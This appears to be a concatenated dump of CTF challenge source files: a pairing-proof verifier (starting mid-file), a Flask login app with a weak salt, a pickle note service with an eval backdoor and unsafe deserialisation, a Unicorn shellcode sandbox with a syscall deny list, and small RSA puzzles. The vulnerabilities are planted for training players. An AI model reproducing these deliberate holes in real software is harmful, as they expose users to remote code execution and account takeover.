raise ValueError(f"Invalid field point: {point_str}. Error: {str(e)}")
def verify_proof(L_point, R_point, Q_point, A_point, B_point, C_point):
left_pairing = A_point.weil_pairing(B_point, field_size)
right_pairing = (CRSTrap1[0].weil_pairing(CRSTrap2[0], field_size) *
C_point.weil_pairing(CRSTrap2[2], field_size))
return left_pairing == right_pairing
# generate challenge with L, R s.t. L*R != Q
def generate_challenge():
Rng = PolynomialRing(Fp, 'x')
# create L/R polynomials
L_poly = Rng.random_element(degree=3)
R_poly = Rng.random_element(degree=3)
# ensure L*R != Q
true_Q_poly = L_poly * R_poly
fake_Q_poly = true_Q_poly + Rng.random_element(degree=1)
while fake_Q_poly == true_Q_poly:
fake_Q_poly = true_Q_poly + Rng.random_element(degree=1)
# commitments
L_commit = commit(L_poly, CRS1)
R_commit = commit(R_poly, CRS2)
Q_commit = commit(fake_Q_poly, CRS1)
return {
"L": point_to_str(L_commit),
"R": point_to_str(R_commit),
"Q": point_to_str(Q_commit)
}
print(f"delta :o : {int(delta)}")
rounds_passed = 0
total_rounds = 32
while rounds_passed < total_rounds:
challenge = generate_challenge()
print(f"\nRound {rounds_passed + 1}/{total_rounds}")
print(json.dumps(challenge))
try:
response = json.loads(input())
# parse proof
A_point = str_to_point(response["proof"]["A"])
B_point = str_to_point(response["proof"]["B"])
C_point = str_to_point(response["proof"]["C"])
# get chall commitments
L_point = str_to_point(challenge["L"])
R_point = str_to_point(challenge["R"])
Q_point = str_to_point(challenge["Q"])
if verify_proof(L_point, R_point, Q_point, A_point, B_point, C_point):
rounds_passed += 1
print(f"Verified! {rounds_passed}/{total_rounds}")
else:
print("Stupid :)")
except Exception as e:
print(f"Error: {e}")
if rounds_passed >= total_rounds:
with open("flag.txt", "r") as f:
flag = f.read().strip()
print(f"Flag: {flag}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/squ1rrel/2025/web/emojicrypt/app.py | ctfs/squ1rrel/2025/web/emojicrypt/app.py | from flask import Flask, request, redirect, url_for, g
import sqlite3
import bcrypt
import random
import os
from dotenv import load_dotenv
load_dotenv()
app = Flask(__name__, static_folder='templates')
DATABASE = 'users.db'
EMOJIS = ['π', 'π', 'π', 'π', 'π±', 'π', 'π', 'π', 'π', 'π
', 'π', 'π', 'π', 'π΅', 'π', 'π', 'π', 'π', 'πΆ', 'π©', 'π']
NUMBERS = '0123456789'
database = None
def get_db():
global database
if database is None:
database = sqlite3.connect(DATABASE)
init_db()
return database
def generate_salt():
return 'aa'.join(random.choices(EMOJIS, k=12))
def init_db():
with app.app_context():
db = get_db()
cursor = db.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
email TEXT UNIQUE NOT NULL,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
salt TEXT NOT NULL
)''')
db.commit()
@app.route('/register', methods=['POST'])
def register():
email = request.form.get('email')
username = request.form.get('username')
if not email or not username:
return "Missing email or username", 400
salt = generate_salt()
random_password = ''.join(random.choice(NUMBERS) for _ in range(32))
password_hash = bcrypt.hashpw((salt + random_password).encode("utf-8"), bcrypt.gensalt()).decode('utf-8')
# TODO: email the password to the user. oopsies!
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (email, username, password_hash, salt) VALUES (?, ?, ?, ?)", (email, username, password_hash, salt))
db.commit()
except sqlite3.IntegrityError as e:
print(e)
return "Email or username already exists", 400
return redirect(url_for('index', registered='true'))
@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return "Missing username or password", 400
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT salt, password_hash FROM users WHERE username = ?", (username,))
data = cursor.fetchone()
if data is None:
return redirect(url_for('index', incorrect='true'))
salt, hash = data
if salt and hash and bcrypt.checkpw((salt + password).encode("utf-8"), hash.encode("utf-8")):
return os.environ.get("FLAG")
else:
return redirect(url_for('index', incorrect='true'))
@app.route('/')
def index():
return app.send_static_file('index.html')
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
if __name__ == '__main__':
app.run(port=8000)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Blaze/2018/secret_pickle.py | ctfs/Blaze/2018/secret_pickle.py | #!/usr/bin/env python3
import pickle
import hashlib
import os
import sys
class Note:
def __init__(self, name, date, content):
self.name = name
self.date = date
self.content = content
def prints(self):
print()
print('-'*5 + self.name + '-'*5)
print('Date: ' + self.date)
print(self.content)
username = input('username: ')
if username == 'nsnc':
while True:
print(eval(input()[:5]))
directory = hashlib.md5(bytes(username, 'cp1252')).hexdigest()
if not os.path.exists(directory):
os.makedirs(directory)
choice = ''
while choice not in ('0', '1'):
print("0: Structured Note")
print("1: Freeform Note")
choice = input('choice: ')
if choice == '0': # Structured Note
try:
with open(directory + '/mode', 'r') as f:
if f.read() != 'structured':
os.system('rm ' + hashlib.md5(bytes(username, 'cp1252')).hexdigest() + '/*')
except:
pass # so good
with open(directory + '/mode', 'w') as f:
f.write('structured')
rw_choice = ''
while rw_choice not in ('0', '1'):
print("0: Write Note")
print("1: Read Note")
rw_choice = input('choice: ')
if rw_choice == '0': # Write note
name = input('note name: ')
date = input('note date: ')
print('note content: ')
content = ''
line = input()
while line:
content += line + '\n'
line = input()
note = Note(name, date, content)
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'wb') as f:
pickle.dump(note, f, protocol=0)
else: # Read note
name = input('note name: ')
try:
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'rb') as f:
pickle.load(f).prints()
except:
pass # best error handling
else: # Freeform note
try:
with open(directory + '/mode', 'r') as f:
if f.read() != 'freeform':
os.system('rm ' + hashlib.md5(bytes(username, 'cp1252')).hexdigest() + '/*')
except:
pass # very good
with open(directory + '/mode', 'w') as f:
f.write('freeform')
rw_choice = ''
while rw_choice not in ('0', '1'):
print("0: Write Note")
print("1: Read Note")
rw_choice = input('choice: ')
if rw_choice == '0': # Write note
name = input('note name: ')
print('note content: ')
content = ''
line = input()
while line:
content += line + '\n'
line = input()
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'wb') as f:
f.write(bytes(content, 'utf8'))
print()
else: # Read note
name = input('note name: ')
try:
with open(directory + '/' + hashlib.md5(bytes(name, 'cp1252')).hexdigest(), 'r') as f:
print(f.read())
except:
pass # much good
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/MeePwn/2018/Quals/babysandbox/baby_sandbox.py | ctfs/MeePwn/2018/Quals/babysandbox/baby_sandbox.py | from __future__ import print_function
from flask import Flask, Response, render_template, session, request, jsonify, send_file
import os
from subprocess import run, STDOUT, PIPE, CalledProcessError
from base64 import b64decode, b64encode
from unicorn import *
from unicorn.x86_const import *
import codecs
import time
app = Flask(__name__)
app.secret_key = open('private/secret.txt').read()
ADDRESS = 0x1000000
sys_fork = 2
sys_read = 3
sys_write = 4
sys_open = 5
sys_close = 6
sys_execve = 11
sys_access = 33
sys_dup = 41
sys_dup2 = 63
sys_mmap = 90
sys_munmap = 91
sys_mprotect = 125
sys_sendfile = 187
sys_sendfile64 = 239
BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]
# callback for tracing Linux interrupt
def hook_intr(uc, intno, user_data):
if intno != 0x80:
uc.emu_stop()
return
eax = uc.reg_read(UC_X86_REG_EAX)
if eax in BADSYSCALL:
session['ISBADSYSCALL'] = True
uc.emu_stop()
def test_i386(mode, code):
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, mode)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, code)
# initialize stack
mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000)
# handle interrupt ourself
mu.hook_add(UC_HOOK_INTR, hook_intr)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(code))
except UcError as e:
print("ERROR: %s" % e)
@app.route('/')
def main():
if session.get('ISBADSYSCALL') == None:
session['ISBADSYSCALL'] = False
return render_template('index.html', name="BABY")
@app.route('/source', methods=['GET'])
def resouce():
return send_file("app.py")
@app.route('/bin', methods=['GET'])
def bin():
return send_file("/home/babysandbox/babysandbox")
@app.route('/exploit', methods=['POST'])
def exploit():
try:
data = request.get_json(force=True)
except Exception:
return jsonify({'result': 'Wrong data!'})
try:
payload = b64decode(data['payload'].encode())
except:
return jsonify({'result': 'Wrong data!'})
test_i386(UC_MODE_32, payload)
if session['ISBADSYSCALL']:
return jsonify({'result': 'Bad Syscall!'})
try:
run(['nc', 'localhost', '9999'], input=payload, timeout=2, check=True)
except CalledProcessError:
return jsonify({'result': 'Error run file!'})
return jsonify({'result': "DONE!"})
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UCTF/2024/crypto/Rasa/challenge.py | ctfs/UCTF/2024/crypto/Rasa/challenge.py | from Crypto.Util.number import bytes_to_long as b2l, getPrime
flag = b'uctf{test_flag}'
p = getPrime(1024)
q = getPrime(1024)
n = p*q
m1 = b2l(b'There were a mysterious underground cemetery found in Tabriz about 10 years ago near Blue Mosque while worker were digging in nearby locations')
m2 = b2l(b'It is an unknown cemetry which no historical records have registered it so far and it still remains a mystery for everyone. Can you help recover the secrets behind it?')
c1 = pow(m1, 3, n)
c2 = pow(m2, 3, n)
m = b2l(flag)
e1 = 0x10001
e2 = 0x8001
c3 = pow(m, e1, n)
c4 = pow(m, e2, n)
print(f"c1 = {c1}")
print(f"c2 = {c2}")
print(f"c3 = {c3}")
print(f"c4 = {c4}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UCTF/2024/crypto/Modal_2/challenge.py | ctfs/UCTF/2024/crypto/Modal_2/challenge.py | from secret import flag
p = 4066351909
for f in flag:
print((ord(f)*2022684581 - 127389238) % p, end=",") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.